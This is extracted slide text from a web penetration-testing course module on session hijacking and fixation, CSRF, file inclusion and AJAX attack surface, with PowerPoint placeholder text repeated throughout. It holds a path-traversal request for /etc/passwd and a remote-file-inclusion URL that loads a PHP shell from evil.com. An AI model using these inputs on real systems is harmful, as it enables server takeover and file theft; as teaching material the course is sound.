Click to edit Master subtitle style http://www.learnsecurityonline.com 6.1 INTRODUCTION Click to edit Master subtitle style http://www.learnsecurityonline.com Other than XSS and SQL Injection there are a number of different attacking techniques against a web application. Session and logic are the most targeted elements of a web application after input. A conjunction of input validation attack and flawed logic and session handling brings us more ways to break the security of a web application. Click to edit Master subtitle style http://www.learnsecurityonline.com 6.2 SESSION ATTACKS Click to edit Master subtitle style http://www.learnsecurityonline.com The HTTP Session is what keeps the status of a connection between a website and a visitor through different web pages. Being HTTP stateless, all of the CGIs implement the HTTP session paradigm, where a given session is identified through a unique token or session ID released to the visitors browser. Click to edit Master subtitle style http://www.learnsecurityonline.com The visitors web browser will have to present the web server this token in order for his session to be recognized. In the XSS attacks module we have already studied how to take advantage of input validation attacks to steal cookies. Theft of Cookies storing sessions token of authentication credentials is an example of HTTP Session Hijacking. Click to edit Master subtitle style http://www.learnsecurityonline.com If the stolen session cookie carries a token for a valid and open session, it can be used to access the vulnerable web application with authenticated credentials. Click to edit Master subtitle style http://www.learnsecurityonline.com Another simple scenario is when you have websites holding session token in URL: Index.php?sessid=01BA10CE This practice is subject to the following attack: Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com HTTP Session Fixation Operations 2 and 3 should occur while the session is still valid (it has not expired). Mounting such attacks is subject to a number of factors that may affect the success of the attack negatively. Click to edit Master subtitle style http://www.learnsecurityonline.com Through the HTTP REFERER header, the sessionID in the URL is passed the HACKER controlled server. Another attack to HTTP Session is HTTP Session Fixation. Click to edit Master subtitle style http://www.learnsecurityonline.com In this attack, as the name suggests, the hacker fixates the session ID that the victim will use for its HTTP communication with the web application. The attacker in this case is not interested into stealing this ID. He instead creates (or fixes) it. Click to edit Master subtitle style http://www.learnsecurityonline.com A penetration tester can use this attack to gain access to private areas of the web applications. Upon login, authentication information is stored into session variables. This information is used to discriminate between authenticated and unauthenticated sessions. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com There are web applications that do not release sessionIDs to unauthenticated users browsing website pages: they only do upon login. When this applies we must register on the website, login and obtain a new session cookie containing the wanted sessionID. Click to edit Master subtitle style http://www.learnsecurityonline.com So how do you go by finding whether a website is really vulnerable to this attack? Generally, websites that do not regenerate sessionIDs upon login are likely to be vulnerable. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com The Session handling is responsibility of both the webserver and the web developer. A gratuitous sessionID is a sessionID that has not been previously released by the webserver directly: this is just suggested by a browsing user through a normal HTTP GET request: http://vuln/search.asp?sessionID=123456 Click to edit Master subtitle style http://www.learnsecurityonline.com Microsoft ASP is the most famous for this (bad) behavior. It will accept any sessionID provided by a user. This means that you will be able to provide ASP with your own sessionID and a session around it will be created. Click to edit Master subtitle style http://www.learnsecurityonline.com Basically the acceptance of a gratuitous sessionID makes the exploitation much easier although it is not a necessary condition for it. Click to edit Master subtitle style http://www.learnsecurityonline.com The most effective solution to this attack is simply to regenerate sessionIDs at every login. PHP provides the function session_regenerate_id at eh purpose and it should be used with the argument TRUE that will force the complete removal of the previous session. Click to edit Master subtitle style http://www.learnsecurityonline.com A similar approach can be taken in all the other scripting languages: simply destroying the old session and creating a new one. Moreover, the web application should never ever accept gratuitous sessionIDs. Click to edit Master subtitle style http://www.learnsecurityonline.com 6.3 CROSS SITE REQUEST FORGERIES Click to edit Master subtitle style http://www.learnsecurityonline.com CSRF or XSRF attacks are something every web app tester should know and master since it is something automated scanning tool do not easily find. CSRF exploits a feature of internet browsing, instead of a specific vulnerability. Click to edit Master subtitle style http://www.learnsecurityonline.com Lets see a quick example: Bob visits Amazon.com, logs in then leaves the site without logging out. Bob then visits Foo.com where inadvertently executes a request to Amazon.com. This request requires a valid account on Amazon. For example a request to buy a book. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Since Bob is still logged in in Amazon, the request goes through and the money is withdrawn from his account for the purchase of the book. How can Foo.com issue a request to Amazon on behalf of Bob? Click to edit Master subtitle style http://www.learnsecurityonline.com Whatever is in a webpage, the browser requests: if an image with the url amazon.com/buy/123 is present in the page, the web browser will silently issue a request to Amazon.com, thus buying the book because Bob has an authenticated session open on Amazon. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com If it sounds simple. It really is. Google, Amazon, eBay and other major website were vulnerable to CSRF but a big number of smaller websites and third party application scripts still are. Click to edit Master subtitle style http://www.learnsecurityonline.com All the requests to a web application that do not implement an Anti-CSRF mechanism are automatically vulnerable. This may sound trivial but CSRF is really this common. Click to edit Master subtitle style http://www.learnsecurityonline.com When a web application stores session into cookies, this cookie is sent at every request to the same web application (same-origin policy applies). This may sound odd, but storing session tokens into cookies enable CSRF. (While storing session tokens into URLs enable other kind of exploits). Click to edit Master subtitle style http://www.learnsecurityonline.com Tokens and captchas are the most used protestion mechanisms. We will study them once the exploitation process will be clear. Click to edit Master subtitle style http://www.learnsecurityonline.com Lets see a real world example. In 2005 I had to consider using Joomla as a CMS for Hackers Center, pensioning my hand-coded veteran ASP-based CMS. The first thing I realized while using it for the first time was the presence of multiple CSRF vulnerability. Click to edit Master subtitle style http://www.learnsecurityonline.com The most important of them allowed me to have a super administrator, with an open session on his Joomla backend, to upload arbitrary files, post articles or even deface his own website, if only I managed to force him into visiting a web page containing the exploit payload. Click to edit Master subtitle style http://www.learnsecurityonline.com What we will see now is how I built the payload to have the a Super Admin create another super admin to let me gain a backdoor access to the website> The main difference with other vulnerabilties is that the exploitation doesnt require any malicious payload. In the next slide we will go through the process of bulding a working exploit for the Joomla vulnerabiltiy. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com This is a penetration testers course but studying countermeasures and protection mechanism, sometimes makes the exploitation explanation clearer. Moreover you should not forget that youre hired to provide solutions. Click to edit Master subtitle style http://www.learnsecurityonline.com The most used protection mechanism for CSRF is the Token. The token makes part of the request required to perform a given action, unpredictable for an attacker. Lets take a real world scenario, where the Add-user form in the administration area of CMSs include a hidden input including a token. This token can be implemented as a md5 hash of some randomly generated string. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com An attacker, willing to force the victim request the forged url, has to provide a valid token. Two conditions may arise: The victim has not visited the page and has no token set in the session variables at all The victim has visited the page and has a token Click to edit Master subtitle style http://www.learnsecurityonline.com In case 2 the attacker has to guess the correct token that is something considered impossible as long as token generation is truly random and the token is not easily predictable. As you can see, the token must be random, not predictable and changing at least for every session. Note: The token becomes useless when the application is also vulnerable to XSS. Click to edit Master subtitle style http://www.learnsecurityonline.com Because of the same-origin policy, you cannot read the token on domain-vuln.com from domain-evil.com. But using a XSS on domain-vuln.com, the JavaScript meant to steal the token and use it in the request will be executed on the legit domain (domain-vuln.com).Click to edit Master subtitle style http://www.learnsecurityonline.com Bottom line is: To prevent CSRF one has to implement a random token for every request and be immune to XSS at the same time. Click to edit Master subtitle style http://www.learnsecurityonline.com 6.4 FILE INCLUSION VULNERABILITIES Click to edit Master subtitle style http://www.learnsecurityonline.com File Inclusion vulnerabilities are divided in Remote and Local according to where the file, to include, is taken from. Click to edit Master subtitle style http://www.learnsecurityonline.com Some of you will remember the vintage LFI attack that we all tried against the first perl CGIs in early 90s: Visit.pl?url=../../../etc/passwd Click to edit Master subtitle style http://www.learnsecurityonline.com This kind of vulnerability was very common at that time, since security awareness was not so spread among developers. However, it is still found in custom made scripts where path characters are not stripped from input and the input is used as part of an include. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Remote file inclusion works basically the same way as LFI, with the only difference that the file to be included is taken remotely. Our aim in this case is not just to read but to include our own code in the execution. An exploitation URL would look like this: vuln.php?page=http://evil.com/shell.txt Click to edit Master subtitle style http://www.learnsecurityonline.com In this case, shell.txt is a file containing PHP code that will be included in the page and executed. A common exploitation to this vulnerability is to include a PHP shell that would let the hacker or the pen tester to execute any code on the server. The most simple PHP shell will accept commands from GET/POST arguments and execute them on the server. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com NOTE: RFI is possible because allow_url_include directive is set to ON within php.ini. It is good proctice to set it to OFF. Exploiting RFI requirements that you have a PHP shell uploaded somewhere and accessible from the internet. C99 shell is the most famous and complete PHP shell. Click to edit Master subtitle style http://www.learnsecurityonline.com 6.5 WEB 2.0 ATTACKS Click to edit Master subtitle style http://www.learnsecurityonline.com Web 2.0 has been mistakenly associated to the era of social networks. From the technical point of view, web 2.0 means the use of relatively new tools for web developers to build their web pages. The most notorious: AJAX Click to edit Master subtitle style http://www.learnsecurityonline.com AJAX is nothing new since it is based on a number of technologies that have been available for at least 10 years: JavaScript and XML. What AJAX is introducing is the possibility of making asynchronous calls from the client to the server thus giving the user the feeling that hes truly dealing with an application running within the browser. Click to edit Master subtitle style http://www.learnsecurityonline.com AJAX relies on XMLHTTPRequest (MSXML2.XMLHTTP On IE) object that is responsible for making the requests, registering a handler and listen to server response asynchronously. Response can be any content type (images, binaries, xml, plain) because the server is not required to know whether the request is coming from XMLHTTPRequest or a normal synchronous request. Click to edit Master subtitle style http://www.learnsecurityonline.com Ususlly XML or JSON are used to exchange request-response between client and server. The response is then interpreted and inserted into the web page DOM or used for the application logic. Same origin applies to AJAX requests: an AJAX script of foo.com cannot make requests to bar.com nor bar.foo.com Click to edit Master subtitle style http://www.learnsecurityonline.com In XSS module you have learnt how httpOnly is used to avoid cookies from being read by JavaScript. In this module youre learning about how xmlHTTPRequest is used to perform asynchronous requests to the webserver. Click to edit Master subtitle style http://www.learnsecurityonline.com Usually XML or JSON are used to exchange request-response between client and server. The response is then interpreted and inserted into the web page DOM or used for the application logic. Same origin applies to AJAX requests: an AJAX script on foo.com cannot make requests to bar.com nor bar.foo.com. Click to edit Master subtitle style http://www.learnsecurityonline.com In XSS module you have learnt how httpOnly is used to avoid cookies from being read by JavaScript. In this module youre learning about how xmlHTTPRequest is used to perform asynchronous requests to the webserver. Click to edit Master subtitle style http://www.learnsecurityonline.com Now lets see how the latter can help us in defeating the protection introduced by the first. httpOnly is considered to be the solution to cookie theft, however this is not entirely true. Using xmlHTTPRequest it is possibe to read the cookie content through TRACE http method. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com From the security point of view, AJAX shifts the paradigms of web application development widening te attack surface when it is not handled correctly. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com In the traditional synchronous browsing, the client simply requests a URL passing parameters to it. We usually do not have any understanding of the inner working of the remote application except for the input-output correlation. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com The group of functions exposed by client-side code, can be used as the starting point for new input validation attacks, XSS, SQL injections, RFIs but also for new attacking vectors like function clobbering. Click to edit Master subtitle style http://www.learnsecurityonline.com As we saw earlier, web applications using AJAX, throught a framework or a custom made AJAX code, will probably expose more logic to a pentester. We, as pentesters, are interested in: Collecting all of the AJAX requests a web page makes Retrieving the JavaScript libraries where these calls are made from This will let us have a deeper understanding of the web application logic and a much wider attack surface. Click to edit Master subtitle style http://www.learnsecurityonline.com In order to fully understand the logic behind a web application relying upon AJAX you have two roads: Studying the AJAX requests Studying the JavaScript libraries containing the AJAX code. In this paragraph we will follow method 1. Lets see a real example: alesti.org From this you can continue your investigation reverse engineering the web application logics and eventually perform input validation attacks.Click to edit Master subtitle style http://www.learnsecurityonline.com The AJAX code is contained in JavaScript libraries that the developer has to include in the website pages. Collecting APIs methods and their arguments is a heuristic process, but finding where these methods and functions are called from is something you should be able to do quite easily. Click to edit Master subtitle style http://www.learnsecurityonline.com Most of the times all the AJAX related code is inserted in one or more javascript .js file. These files are then included through a tag and their methods invoked when needed. It is not rare to come across web applications that implement AJAX to improve the end user experience but also to make administration an easier and more enjoyable experience. Click to edit Master subtitle style http://www.learnsecurityonline.com When administrative functions are included in the same library of functions intended for the end user, these are called Exposed administrative functions. This is not to be considered a vulnerability in itself, but most of the times this lets a penetration tester to perform a direct inspection of these high privileged functions. Click to edit Master subtitle style http://www.learnsecurityonline.com The first thing to do in this case is to get all the JavaScript files dealing with AJAX. Simply requesting the page source code will reveal the included JavaScirpt files. Click to edit Master subtitle style http://www.learnsecurityonline.com An average understanding of JavaScript will be required. If the JavaScript looks encoded you can use the tool located her http://www.gosu.pl/decoder/ to decode it and make it moe readable. Click to edit Master subtitle style http://www.learnsecurityonline.com Click to edit Master subtitle style http://www.learnsecurityonline.com